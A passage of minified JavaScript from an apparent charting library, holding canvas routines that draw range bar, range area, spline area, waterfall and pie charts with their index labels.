(q-s)/2,y:c?n+(f-n)/2:y[l].y[1]>=y[l].y[0]?n:f},direction:y[l].y[1]>=y[l].y[0]?1:-
1,bounds:{x1:c?Math.min(s,q):s,y1:c?n:Math.min(n,f),x2:c?Math.max(s,q):q,y2:c?
f:Math.max(n,f)},color:e,axisSwapped:c})}}}r&&(d.drawImage(this._preRenderCanvas,0,
0,this.width,this.height),b.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&b.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&b.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),th
is._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this
.width,this.height),b.clearRect(k.x1,k.y1,k.width,k.height),this._eventManager.ghos
tCtx.restore());b.restore();return{source:d,dest:this.plotArea.ctx,animationCallbac
k:M.fadeInAnimation,easingFunction:M.easing.easeInQuad,animationBase:0}}};p.prototy
pe.renderRangeBar=function(a){var d=a.targetCanvasCtx||this.plotArea.ctx,b=r?
this._preRenderCtx:d;if(!(0>=a.dataSeriesIndexes.length)){var
c=null,e=this.plotArea,g=0,k,l,w,m,g=this.options.dataPointMinWidth?
this.dataPointMinWidth:this.options.dataPointWidth?
this.dataPointWidth:1;k=this.options.dataPointMaxWidth?
this.dataPointMaxWidth:this.options.dataPointWidth?
this.dataPointWidth:Math.min(0.15*this.height,0.9*(this.plotArea.height/a.plotType.
totalDataSeries))<<0;var s=a.axisX.dataInfo.minDiff;isFinite(s)||
(s=0.3*Math.abs(a.axisX.range));s=this.options.dataPointWidth?
this.dataPointWidth:0.9*(e.height*(a.axisX.logarithmic?
Math.log(s)/Math.log(a.axisX.range):Math.abs(s)/Math.abs(a.axisX.range))/a.plotType
.totalDataSeries)<<0;this.dataPointMaxWidth&&g>k&&(g=Math.min(this.options.dataPoin
tWidth?this.dataPointWidth:Infinity,k));!
this.dataPointMaxWidth&&(this.dataPointMinWidth&&k<g)&&(k=Math.max(this.options.dat
aPointWidth?this.dataPointWidth:-
Infinity,g));s<g&&(s=g);s>k&&(s=k);b.save();r&&this._eventManager.ghostCtx.save();b
.beginPath();b.rect(e.x1,e.y1,e.width,e.height);b.clip();r&&(this._eventManager.gho
stCtx.beginPath(),this._eventManager.ghostCtx.rect(e.x1,e.y1,e.width,e.height),this
._eventManager.ghostCtx.clip());for(var q=0;q<a.dataSeriesIndexes.length;q++){var
n=a.dataSeriesIndexes[q],f=this.data[n],h=f.dataPoints;if(0<h.length){var
p=5<s&&f.bevelEnabled?!0:!1;b.strokeStyle="#4572A7 ";for(g=0;g<h.length;g+
+)if(h[g].getTime?m=h[g].x.getTime():m=h[g].x,!(m<a.axisX.dataInfo.viewPortMin||
m>a.axisX.dataInfo.viewPortMax)&&!u(h[g].y)&&h[g].y.length&&"number"===typeof
h[g].y[0]&&"number"===typeof h[g].y[1])
{k=a.axisY.convertValueToPixel(h[g].y[0]);l=a.axisY.convertValueToPixel(h[g].y[1]);
w=a.axisX.convertValueToPixel(m);w=a.axisX.reversed?
w+a.plotType.totalDataSeries*s/2-(a.previousDataSeriesCount+q)*s<<0:w-
a.plotType.totalDataSeries*s/2+(a.previousDataSeriesCount+q)*s<<0;var
v=a.axisX.reversed?w-s<<0:w+s<<0;k>l&&(c=k,k=l,l=c);c=h[g].color?
h[g].color:f._colorSet[g%f._colorSet.length];ea(b,k,w,l,v,c,0,null,p,!1,!1,!
1,f.fillOpacity);c=f.dataPointIds[g];this._eventManager.objectMap[c]={id:c,objectTy
pe:"dataPoint",dataSeriesIndex:n,dataPointIndex:g,x1:k,y1:w,x2:l,y2:v};c=N(c);r&&ea
(this._eventManager.ghostCtx,k,w,l,v,c,0,null,!1,!1,!1,!1);if(h[g].indexLabel||
f.indexLabel||h[g].indexLabelFormatter||
f.indexLabelFormatter)this._indexLabels.push({chartType:"rangeBar",dataPoint:h[g],d
ataSeries:f,indexKeyword:0,point:{x:h[g].y[1]>=h[g].y[0]?k:l,y:w+(v-
w)/2},direction:h[g].y[1]>=h[g].y[0]?-1:1,bounds:
{x1:Math.min(k,l),y1:w,x2:Math.max(k,l),y2:v},color:c}),this._indexLabels.push({cha
rtType:"rangeBar",dataPoint:h[g],dataSeries:f,indexKeyword:1,point:
{x:h[g].y[1]>=h[g].y[0]?l:k,y:w+(v-w)/2},direction:h[g].y[1]>=h[g].y[0]?1:-
1,bounds:
{x1:Math.min(k,l),y1:w,x2:Math.max(k,l),y2:v},color:c})}}}r&&(d.drawImage(this._pre
RenderCanvas,0,0,this.width,this.height),b.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&b.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&b.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),th
is._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this
.width,this.height),b.clearRect(e.x1,e.y1,e.width,e.height),this._eventManager.ghos
tCtx.restore());b.restore();return{source:d,dest:this.plotArea.ctx,animationCallbac
k:M.fadeInAnimation,easingFunction:M.easing.easeInQuad,animationBase:0}}};p.prototy
pe.renderRangeArea=function(a){function d(){if(C){var
a=null;0<s.lineThickness&&c.stroke();for(var b=w.length-
1;0<=b;b--)a=w[b],c.lineTo(a.x,a.y),e.lineTo(a.x,a.y);c.closePath();c.globalAlpha=s
.fillOpacity;c.fill();c.globalAlpha=1;e.fill();if(0<s.lineThickness)
{c.beginPath();c.moveTo(a.x,a.y);for(b=0;b<w.length;b+
+)a=w[b],c.lineTo(a.x,a.y);c.stroke()}c.beginPath();c.moveTo(h,p);e.beginPath();e.m
oveTo(h,p);C={x:h,y:p};w=[];w.push({x:h,y:u})}}var b=a.targetCanvasCtx||
this.plotArea.ctx,c=r?this._preRenderCtx:b;if(!(0>=a.dataSeriesIndexes.length)){var
e=this._eventManager.ghostCtx,g=[],k=this.plotArea;c.save();r&&e.save();c.beginPath
();c.rect(k.x1,k.y1,k.width,k.height);c.clip();r&&(e.beginPath(),e.rect(k.x1,k.y1,k
.width,k.height),e.clip());for(var l=0;l<a.dataSeriesIndexes.length;l++){var
w=[],m=a.dataSeriesIndexes[l],s=this.data[m],q=s.dataPoints,g=s.id;this._eventManag
er.objectMap[g]={objectType:"dataSeries",dataSeriesIndex:m};g=N(g);e.fillStyle=g;va
r g=[],n=!0,f=0,h,p,u,t,C=null;if(0<q.length){var x=s._colorSet[f
%s._colorSet.length],v=s.lineColor=s.options.lineColor||
x,y=v;c.fillStyle=x;c.strokeStyle=v;c.lineWidth=s.lineThickness;var
A="solid";if(c.setLineDash){var
z=R(s.nullDataLineDashType,s.lineThickness),A=s.lineDashType,D=R(A,s.lineThickness)
;c.setLineDash(D)}for(var T=!0;f<q.length;f++)if(t=q[f].x.getTime?
q[f].x.getTime():q[f].x,!(t<a.axisX.dataInfo.viewPortMin||
t>a.axisX.dataInfo.viewPortMax&&(!s.connectNullData||!T)))if(null!
==q[f].y&&q[f].y.length&&"number"===typeof q[f].y[0]&&"number"===typeof q[f].y[1])
{h=a.axisX.convertValueToPixel(t);p=a.axisY.convertValueToPixel(q[f].y[0]);u=a.axis
Y.convertValueToPixel(q[f].y[1]);n||T?(s.connectNullData&&!n?
(c.setLineDash&&(s.options.nullDataLineDashType||
A===s.lineDashType&&s.lineDashType!==s.nullDataLineDashType)&&(w[w.length-
1].newLineDashArray=D,A=s.nullDataLineDashType,c.setLineDash(z)),c.lineTo(h,p),r&&e
.lineTo(h,p),w.push({x:h,y:u})):
(c.beginPath(),c.moveTo(h,p),C={x:h,y:p},w=[],w.push({x:h,y:u}),r&&(e.beginPath(),e
.moveTo(h,p))),T=n=!1):(c.lineTo(h,p),w.push({x:h,y:u}),r&&e.lineTo(h,p),0==f
%250&&d());t=s.dataPointIds[f];this._eventManager.objectMap[t]={id:t,objectType:"da
taPoint",dataSeriesIndex:m,dataPointIndex:f,x1:h,y1:p,y2:u};f<q.length-1&&(y!
==(q[f].lineColor||v)||A!==(q[f].lineDashType||
s.lineDashType))&&(d(),y=q[f].lineColor||v,w[w.length-
1].newStrokeStyle=y,c.strokeStyle=y,c.setLineDash&&(q[f].lineDashType?
(A=q[f].lineDashType,w[w.length-
1].newLineDashArray=R(A,s.lineThickness),c.setLineDash(w[w.length-
1].newLineDashArray)):(A=s.lineDashType,w[w.length-
1].newLineDashArray=D,c.setLineDash(D))));if(0!==q[f].markerSize&&(0<q[f].markerSi
ze||0<s.markerSize)){var Y=s.getMarkerProperties(f,h,u,c);g.push(Y);var
ca=N(t);r&&g.push({x:h,y:u,ctx:e,type:Y.type,size:Y.size,color:ca,borderColor:ca,bo
rderThickness:Y.borderThickness});Y=s.getMarkerProperties(f,h,p,c);g.push(Y);ca=N(t
);r&&g.push({x:h,y:p,ctx:e,type:Y.type,size:Y.size,color:ca,borderColor:ca,borderTh
ickness:Y.borderThickness})}if(q[f].indexLabel||s.indexLabel||
q[f].indexLabelFormatter||
s.indexLabelFormatter)this._indexLabels.push({chartType:"rangeArea",dataPoint:q[f],
dataSeries:s,indexKeyword:0,point:
{x:h,y:p},direction:q[f].y[0]>q[f].y[1]===a.axisY.reversed?-
1:1,color:x}),this._indexLabels.push({chartType:"rangeArea",dataPoint:q[f],dataSeri
es:s,indexKeyword:1,point:
{x:h,y:u},direction:q[f].y[0]>q[f].y[1]===a.axisY.reversed?1:-1,color:x})}else T||
n||d(),T=!
0;d();ia.drawMarkers(g)}}r&&(b.drawImage(this._preRenderCanvas,0,0,this.width,this.
height),c.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&c.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&c.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),th
is._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this
.width,this.height),c.clearRect(k.x1,k.y1,k.width,k.height),this._eventManager.ghos
tCtx.restore());c.restore();return{source:b,dest:this.plotArea.ctx,animationCallbac
k:M.xClipAnimation,easingFunction:M.easing.linear,animationBase:0}}};p.prototype.re
nderRangeSplineArea=function(a){function d(a,b){var d=v(u,2);if(0<d.length)
{if(0<m.lineThickness)
{c.strokeStyle=b;c.setLineDash&&c.setLineDash(a);c.beginPath();c.moveTo(d[0].x,d[0]
.y);for(var f=0;f<d.length-3;f+=3){if(d[f].newStrokeStyle||
d[f].newLineDashArray)c.stroke(),c.beginPath(),c.moveTo(d[f].x,d[f].y),d[f].newStro
keStyle&&(c.strokeStyle=d[f].newStrokeStyle),d[f].newLineDashArray&&c.setLineDash(d
[f].newLineDashArray);c.bezierCurveTo(d[f+1].x,d[f+1].y,d[f+2].x,d[f+2].y,d[f+3].x,
d[f+3].y)}c.stroke()}c.beginPath();c.moveTo(d[0].x,d[0].y);r&&(e.beginPath(),e.move
To(d[0].x,d[0].y));for(f=0;f<d.length-
3;f+=3)c.bezierCurveTo(d[f+1].x,d[f+1].y,d[f+2].x,d[f+2].y,d[f+3].x,d[f+3].y),r&&e.
bezierCurveTo(d[f+1].x,d[f+1].y,d[f+2].x,d[f+2].y,d[f+3].x,d[f+3].y);d=v(z,2);c.lin
eTo(z[z.length-1].x,z[z.length-1].y);for(f=d.length-1;2<f;f-=3)c.bezierCurveTo(d[f-
1].x,d[f-1].y,d[f-2].x,d[f-2].y,d[f-3].x,d[f-3].y),r&&e.bezierCurveTo(d[f-1].x,d[f-
1].y,d[f-2].x,d[f-2].y,d[f-3].x,d[f-
3].y);c.closePath();c.globalAlpha=m.fillOpacity;c.fill();r&&(e.closePath(),e.fill()
);c.globalAlpha=1;if(0<m.lineThickness)
{c.strokeStyle=b;c.setLineDash&&c.setLineDash(a);c.beginPath();c.moveTo(d[0].x,d[0]
.y);for(var g=f=0;f<d.length-3;f+=3,g++){if(u[g].newStrokeStyle||
u[g].newLineDashArray)c.stroke(),c.beginPath(),c.moveTo(d[f].x,d[f].y),u[g].newStro
keStyle&&(c.strokeStyle=u[g].newStrokeStyle),u[g].newLineDashArray&&c.setLineDash(u
[g].newLineDashArray);c.bezierCurveTo(d[f+1].x,d[f+1].y,d[f+2].x,d[f+2].y,d[f+3].x,
d[f+3].y)}c.stroke()}c.beginPath()}}var b=a.targetCanvasCtx||this.plotArea.ctx,c=r?
this._preRenderCtx:b;if(!(0>=a.dataSeriesIndexes.length)){var
e=this._eventManager.ghostCtx,g=[],k=this.plotArea;c.save();r&&e.save();c.beginPath
();c.rect(k.x1,k.y1,k.width,k.height);c.clip();r&&(e.beginPath(),e.rect(k.x1,k.y1,k
.width,k.height),e.clip());for(var l=0;l<a.dataSeriesIndexes.length;l++){var
w=a.dataSeriesIndexes[l],m=this.data[w],h=m.dataPoints,g=m.id;this._eventManager.ob
jectMap[g]={objectType:"dataSeries",dataSeriesIndex:w};g=N(g);e.fillStyle=g;var
g=[],q=0,n,f,p,u=[],z=[];if(0<h.length){var t=m._colorSet[q
%m._colorSet.length],C=m.lineColor=m.options.lineColor||
t,x=C;c.fillStyle=t;c.lineWidth=m.lineThickness;var F="solid",y;if(c.setLineDash)
{var
A=R(m.nullDataLineDashType,m.lineThickness),F=m.lineDashType;y=R(F,m.lineThickness)
}for(f=!1;q<h.length;q++)if(n=h[q].x.getTime?h[q].x.getTime():h[q].x,!
(n<a.axisX.dataInfo.viewPortMin||n>a.axisX.dataInfo.viewPortMax&&(!
m.connectNullData||!f)))if(null!==h[q].y&&h[q].y.length&&"number"===typeof
h[q].y[0]&&"number"===typeof h[q].y[1])
{n=a.axisX.convertValueToPixel(n);f=a.axisY.convertValueToPixel(h[q].y[0]);p=a.axis
Y.convertValueToPixel(h[q].y[1]);var
E=m.dataPointIds[q];this._eventManager.objectMap[E]={id:E,objectType:"dataPoint",da
taSeriesIndex:w,dataPointIndex:q,x1:n,y1:f,y2:p};u[u.length]={x:n,y:f};z[z.length]=
{x:n,y:p};q<h.length-1&&(x!==(h[q].lineColor||C)||F!==(h[q].lineDashType||
m.lineDashType))&&(x=h[q].lineColor||C,u[u.length-
1].newStrokeStyle=x,c.setLineDash&&(h[q].lineDashType?
(F=h[q].lineDashType,u[u.length-1].newLineDashArray=R(F,m.lineThickness)):
(F=m.lineDashType,u[u.length-1].newLineDashArray=y)));if(0!
==h[q].markerSize&&(0<h[q].markerSize||0<m.markerSize)){var
aa=m.getMarkerProperties(q,n,f,c);g.push(aa);var
T=N(E);r&&g.push({x:n,y:f,ctx:e,type:aa.type,size:aa.size,color:T,borderColor:T,bor
derThickness:aa.borderThickness});aa=m.getMarkerProperties(q,n,p,c);g.push(aa);T=N(
E);r&&g.push({x:n,y:p,ctx:e,type:aa.type,size:aa.size,color:T,borderColor:T,borderT
hickness:aa.borderThickness})}if(h[q].indexLabel||m.indexLabel||
h[q].indexLabelFormatter||
m.indexLabelFormatter)this._indexLabels.push({chartType:"rangeSplineArea",dataPoint
:h[q],dataSeries:m,indexKeyword:0,point:{x:n,y:f},direction:h[q].y[0]<=h[q].y[1]?-
1:1,color:t}),this._indexLabels.push({chartType:"rangeSplineArea",dataPoint:h[q],da
taSeries:m,indexKeyword:1,point:{x:n,y:p},direction:h[q].y[0]<=h[q].y[1]?1:-
1,color:t});f=!1}else 0<q&&!f&&(m.connectNullData?
c.setLineDash&&(0<u.length&&(m.options.nullDataLineDashType||!h[q-
1].lineDashType))&&(u[u.length-1].newLineDashArray=A,F=m.nullDataLineDashType):
(d(y,C),u=[],z=[])),f=!
0;d(y,C);ia.drawMarkers(g)}}r&&(b.drawImage(this._preRenderCanvas,0,0,this.width,th
is.height),c.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&c.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&c.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),th
is._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this
.width,this.height),c.clearRect(k.x1,k.y1,k.width,k.height),this._eventManager.ghos
tCtx.restore());c.restore();return{source:b,dest:this.plotArea.ctx,animationCallbac
k:M.xClipAnimation,easingFunction:M.easing.linear,animationBase:0}}};p.prototype.re
nderWaterfall=function(a){var d=a.targetCanvasCtx||this.plotArea.ctx,b=r?
this._preRenderCtx:d;if(!(0>=a.dataSeriesIndexes.length)){var
c=this._eventManager.ghostCtx,e=null,g=this.plotArea,k=0,l,h,m,s,q=a.axisY.convertV
alueToPixel(a.axisY.logarithmic?
a.axisY.viewportMinimum:0),k=this.options.dataPointMinWidth?
this.dataPointMinWidth:this.options.dataPointWidth?
this.dataPointWidth:1;h=this.options.dataPointMaxWidth?
this.dataPointMaxWidth:this.options.dataPointWidth?
this.dataPointWidth:Math.min(0.15*this.width,0.9*(this.plotArea.width/a.plotType.to
talDataSeries))<<0;var n=a.axisX.dataInfo.minDiff;isFinite(n)||
(n=0.3*Math.abs(a.axisX.range));n=this.options.dataPointWidth?
this.dataPointWidth:0.6*(g.width*(a.axisX.logarithmic?
Math.log(n)/Math.log(a.axisX.range):Math.abs(n)/Math.abs(a.axisX.range))/a.plotType
.totalDataSeries)<<0;this.dataPointMaxWidth&&k>h&&(k=Math.min(this.options.dataPoin
tWidth?this.dataPointWidth:Infinity,h));!
this.dataPointMaxWidth&&(this.dataPointMinWidth&&h<k)&&(h=Math.max(this.options.dat
aPointWidth?this.dataPointWidth:-
Infinity,k));n<k&&(n=k);n>h&&(n=h);b.save();r&&this._eventManager.ghostCtx.save();b
.beginPath();b.rect(g.x1,g.y1,g.width,g.height);b.clip();r&&(this._eventManager.gho
stCtx.beginPath(),this._eventManager.ghostCtx.rect(g.x1,g.y1,g.width,g.height),this
._eventManager.ghostCtx.clip());for(var f=0;f<a.dataSeriesIndexes.length;f++){var
p=a.dataSeriesIndexes[f],u=this.data[p],v=u.dataPoints,e=u._colorSet[0];u.risingCol
or=u.options.risingColor?
u.options.risingColor:e;u.fallingColor=u.options.fallingColor?
u.options.fallingColor:"#e40a0a";var t="number"===typeof u.options.lineThickness?
Math.round(u.lineThickness):1,C=1===Math.round(t)%2?-0.5:0;if(0<v.length)for(var
x=5<n&&u.bevelEnabled?!0:!1,z=!1,y=null,A=null,k=0;k<v.length;k++)if(v[k].getTime?
s=v[k].x.getTime():s=v[k].x,"number"!==typeof v[k].y){if(0<k&&!
z&&u.connectNullData)var D=u.options.nullDataLineDashType||!v[k-1].lineDashType?
u.nullDataLineDashType:v[k-1].lineDashType;z=!
0}else{l=a.axisX.convertValueToPixel(s);h=0===u.dataPointEOs[k].cumulativeSum?
q:a.axisY.convertValueToPixel(u.dataPointEOs[k].cumulativeSum);m=0===u.dataPointEOs
[k].cumulativeSumYStartValue?
q:a.axisY.convertValueToPixel(u.dataPointEOs[k].cumulativeSumYStartValue);l=a.axisX
.reversed?l+a.plotType.totalDataSeries*n/2-(a.previousDataSeriesCount+f)*n<<0:l-
a.plotType.totalDataSeries*n/2+(a.previousDataSeriesCount+f)*n<<0;var
F=a.axisX.reversed?l-
n<<0:l+n<<0;h>m&&(e=h,h=m,m=e);a.axisY.reversed&&(e=h,h=m,m=e);e=u.dataPointIds[k];
this._eventManager.objectMap[e]={id:e,objectType:"dataPoint",dataSeriesIndex:p,data
PointIndex:k,x1:l,y1:h,x2:F,y2:m};var T=v[k].color?v[k].color:0<v[k].y?
u.risingColor:u.fallingColor;ea(b,l,h,F,m,T,0,T,x,x,!1,!
1,u.fillOpacity);e=N(e);r&&ea(this._eventManager.ghostCtx,l,h,F,m,e,0,null,!1,!1,!
1,!1);var Y,T=l;Y="undefined"!==typeof v[k].isIntermediateSum&&!
0===v[k].isIntermediateSum||"undefined"!==typeof v[k].isCumulativeSum&&!
0===v[k].isCumulativeSum?0<v[k].y?h:m:0<v[k].y?m:h;0<k&&y&&(!z||
u.connectNullData)&&(z&&b.setLineDash&&b.setLineDash(R(D,t)),b.beginPath(),b.moveTo
(y,A-C),b.lineTo(T,Y-C),0<t&&b.stroke(),r&&(c.beginPath(),c.moveTo(y,A-
C),c.lineTo(T,Y-C),0<t&&c.stroke()));z=!1;y=F;A=0<v[k].y?h:m;T=v[k].lineDashType?
v[k].lineDashType:u.options.lineDashType?
u.options.lineDashType:"shortDash";b.strokeStyle=v[k].lineColor?
v[k].lineColor:u.options.lineColor?
u.options.lineColor:"#9e9e9e";b.lineWidth=t;b.setLineDash&&(T=R(T,t),b.setLineDash(
T));(v[k].indexLabel||u.indexLabel||v[k].indexLabelFormatter||
u.indexLabelFormatter)&&this._indexLabels.push({chartType:"waterfall",dataPoint:v[k
],dataSeries:u,point:{x:l+(F-l)/2,y:0<=v[k].y?
h:m},direction:0>v[k].y===a.axisY.reversed?1:-1,bounds:
{x1:l,y1:Math.min(h,m),x2:F,y2:Math.max(h,m)},color:e})}}r&&(d.drawImage(this._preR
enderCanvas,0,0,this.width,this.height),b.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&b.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&b.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),th
is._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this
.width,this.height),b.clearRect(g.x1,g.y1,g.width,g.height),this._eventManager.ghos
tCtx.restore());b.restore();return{source:d,dest:this.plotArea.ctx,animationCallbac
k:M.fadeInAnimation,easingFunction:M.easing.easeInQuad,animationBase:0}}};var
ja=function(a,d,b,c,e,g,k,l,h){if(!(0>b)){"undefined"===typeof l&&(l=1);if(!r){var
m=Number((k%(2*Math.PI)).toFixed(8));Number((g%(2*Math.PI)).toFixed(8))===m&&(k-
=1E-4)}a.save();a.globalAlpha=l;"pie"===e?
(a.beginPath(),a.moveTo(d.x,d.y),a.arc(d.x,d.y,b,g,k,!
1),a.fillStyle=c,a.strokeStyle="white",a.lineWidth=2,a.closePath(),a.fill()):"dough
nut"===e&&(a.beginPath(),a.arc(d.x,d.y,b,g,k,!1),0<=h&&a.arc(d.x,d.y,h*b,k,g,!
0),a.closePath(),a.fillStyle=c,a.strokeStyle="white",a.lineWidth=2,a.fill());a.glob
alAlpha=1;a.restore()}};p.prototype.renderPie=function(a){function d(){if(m&&s)
{for(var a=0,b=0,c=0,e=0,d=0;d<s.length;d++){var
g=s[d],l=m.dataPointIds[d];f[d].id=l;f[d].objectType="dataPoint";f[d].dataPointInde
x=d;f[d].dataSeriesIndex=0;var
k=f[d],q={percent:null,total:null},p=null,q=h.getPercentAndTotal(m,g);if(m.indexLab
elFormatter||
g.indexLabelFormatter)p={chart:h.options,dataSeries:m,dataPoint:g,total:q.total,per
cent:q.percent};q=g.indexLabelFormatter?g.indexLabelFormatter(p):g.indexLabel?
h.replaceKeywordsWithValue(g.indexLabel,g,m,d):m.indexLabelFormatter?
m.indexLabelFormatter(p):m.indexLabel?
h.replaceKeywordsWithValue(m.indexLabel,g,m,d):g.label?
g.label:"";h._eventManager.objectMap[l]=k;k.center={x:x.x,y:x.y};k.y=g.y;k.radius=A
;k.percentInnerRadius=F;k.indexLabelText=q;k.indexLabelPlacement=m.indexLabelPlacem
ent;k.indexLabelLineColor=g.indexLabelLineColor?
g.indexLabelLineColor:m.options.indexLabelLineColor?
m.options.indexLabelLineColor:g.color?g.color:m._colorSet[d
%m._colorSet.length];k.indexLabelLineThickness=u(g.indexLabelLineThickness)?
m.indexLabelLineThickness:g.indexLabelLineThickness;k.indexLabelLineDashType=g.inde
xLabelLineDashType?
g.indexLabelLineDashType:m.indexLabelLineDashType;k.indexLabelFontColor=g.indexLabe
lFontColor?
g.indexLabelFontColor:m.indexLabelFontColor;k.indexLabelFontStyle=g.indexLabelFontS
tyle?
g.indexLabelFontStyle:m.indexLabelFontStyle;k.indexLabelFontWeight=g.indexLabelFont
Weight?
g.indexLabelFontWeight:m.indexLabelFontWeight;k.indexLabelFontSize=u(g.indexLabelFo
ntSize)?
m.indexLabelFontSize:g.indexLabelFontSize;k.indexLabelFontFamily=g.indexLabelFontFa
mily?
g.indexLabelFontFamily:m.indexLabelFontFamily;k.indexLabelBackgroundColor=g.indexLa
belBackgroundColor?g.indexLabelBackgroundColor:m.options.indexLabelBackgroundColor?
m.options.indexLabelBackgroundColor:m.indexLabelBackgroundColor;k.indexLabelMaxWidt
h=g.indexLabelMaxWidth?g.indexLabelMaxWidth:m.indexLabelMaxWidth?
m.indexLabelMaxWidth:0.33*n.width;k.indexLabelWrap="undefined"!==typeof
g.indexLabelWrap?g.indexLabelWrap:m.indexLabelWrap;k.startAngle=0===d?m.startAngle?
m.startAngle/180*Math.PI:0:f[d-1].endAngle;k.startAngle=(k.startAngle+2*Math.PI)
%(2*Math.PI);k.endAngle=k.startAngle+2*Math.PI/z*Math.abs(g.y);g=(k.endAngle+k.star
tAngle)/2;g=(g+2*Math.PI)%(2*Math.PI);k.midAngle=g;if(k.midAngle>Math.PI/2-
t&&k.midAngle<Math.PI/2+t){if(0===a||f[c].midAngle>k.midAngle)c=d;a++}else
if(k.midAngle>3*Math.PI/2-t&&k.midAngle<3*Math.PI/2+t){if(0===b||
f[e].midAngle>k.midAngle)e=d;b+
+}k.hemisphere=g>Math.PI/2&&g<=3*Math.PI/2?"left":"right";k.indexLabelTextBlock=new
ka(h.plotArea.ctx,
{fontSize:k.indexLabelFontSize,fontFamily:k.indexLabelFontFamily,fontColor:k.indexL
abelFontColor,fontStyle:k.indexLabelFontStyle,fontWeight:k.indexLabelFontWeight,hor
izontalAlign:"left",backgroundColor:k.indexLabelBackgroundColor,maxWidth:k.indexLab
elMaxWidth,maxHeight:k.indexLabelWrap?
5*k.indexLabelFontSize:1.5*k.indexLabelFontSize,text:k.indexLabelText,padding:0,tex
tBaseline:"top"});k.indexLabelTextBlock.measureText()}l=g=0;q=!
1;for(d=0;d<s.length;d++)k=f[(c+d)%s.length],1<a&&(k.midAngle>Math.PI/2-
t&&k.midAngle<Math.PI/2+t)&&(g<=a/2&&!q?(k.hemisphere="right",g++):
(k.hemisphere="left",q=!0));q=!1;for(d=0;d<s.length;d++)k=f[(e+d)
%s.length],1<b&&(k.midAngle>3*Math.PI/2-t&&k.midAngle<3*Math.PI/2+t)&&(l<=b/2&&!q?
(k.hemisphere="left",l++):(k.hemisphere="right",q=!0))}}function b(a){var
b=h.plotArea.ctx;b.clearRect(n.x1,n.y1,n.width,n.height);b.fillStyle=h.backgroundCo
lor;b.fillRect(n.x1,n.y1,n.width,n.height);for(b=0;b<s.length;b++){var
c=f[b].startAngle,e=f[b].endAngle;if(e>c){var
d=0.07*A*Math.cos(f[b].midAngle),g=0.07*A*Math.sin(f[b].midAngle),k=!
1;if(s[b].exploded){if(1E-9<Math.abs(f[b].center.x-(x.x+d))||1E-
9<Math.abs(f[b].center.y-(x.y+g)))f[b].center.x=x.x+d*a,f[b].center.y=x.y+g*a,k=!
0}else if(0<Math.abs(f[b].center.x-x.x)||0<Math.abs(f[b].center.y-
x.y))f[b].center.x=x.x+d*(1-a),f[b].center.y=x.y+g*(1-a),k=!
0;k&&(d={},d.dataSeries=m,d.dataPoint=m.dataPoints[b],d.index=b,h.toolTip.highlight
Objects([d]));ja(h.plotArea.ctx,f[b].center,f[b].radius,s[b].color?
s[b].color:m._colorSet[b
%m._colorSet.length],m.type,c,e,m.fillOpacity,f[b].percentInnerRadius)}}a=h.plotAre
a.ctx;a.save();a.fillStyle="black";a.strokeStyle="grey";a.textBaseline="middle";a.l
ineJoin="round";for(b=b=0;b<s.length;b+
+)c=f[b],c.indexLabelText&&(c.indexLabelTextBlock.y-
=c.indexLabelTextBlock.height/2,e=0,e="left"===c.hemisphere?"inside"!
==m.indexLabelPlacement?-(c.indexLabelTextBlock.width+q):-
c.indexLabelTextBlock.width/2:"inside"!==m.indexLabelPlacement?q:-
c.indexLabelTextBlock.width/2,c.indexLabelTextBlock.x+=e,c.indexLabelTextBlock.rend
er(!0),c.indexLabelTextBlock.x-
=e,c.indexLabelTextBlock.y+=c.indexLabelTextBlock.height/2,"inside"!
==c.indexLabelPlacement&&0<c.indexLabelLineThickness&&(e=c.center.x+A*Math.cos(c.mi
dAngle),d=c.center.y+A*Math.sin(c.midAngle),a.strokeStyle=c.indexLabelLineColor,a.l
ineWidth=c.indexLabelLineThickness,a.setLineDash&&a.setLineDash(R(c.indexLabelLineD
ashType,c.indexLabelLineThickness)),a.beginPath(),a.moveTo(e,d),a.lineTo(c.indexLab
elTextBlock.x,c.indexLabelTextBlock.y),a.lineTo(c.indexLabelTextBlock.x+
("left"===c.hemisphere?-
q:q),c.indexLabelTextBlock.y),a.stroke()),a.lineJoin="miter");a.save()}function
c(a,b){var c=0,c=a.indexLabelTextBlock.y-
a.indexLabelTextBlock.height/2,e=a.indexLabelTextBlock.y+a.indexLabelTextBlock.heig
ht/2,d=b.indexLabelTextBlock.y-
b.indexLabelTextBlock.height/2,f=b.indexLabelTextBlock.y+b.indexLabelTextBlock.heig
ht/2;return c=b.indexLabelTextBlock.y>a.indexLabelTextBlock.y?d-e:c-f}function e(a)
{for(var b=null,e=1;e<s.length;e++)if(b=(a+e+f.length)%f.length,f[b].hemisphere!
==f[a].hemisphere){b=null;break}else if(f[b].indexLabelText&&b!
==a&&(0>c(f[b],f[a])||("right"===f[a].hemisphere?
f[b].indexLabelTextBlock.y>=f[a].indexLabelTextBlock.y:f[b].indexLabelTextBlock.y<=
f[a].indexLabelTextBlock.y)))break;else b=null;return b}function g(a,b,d){d=(d||
0)+1;if(1E3<d)return 0;b=b||0;var k=0,m=x.y-1*r,l=x.y+1*r;if(0<=a&&a<s.length){var
n=f[a];if(0>b&&n.indexLabelTextBlock.y<m||0<b&&n.indexLabelTextBlock.y>l)return
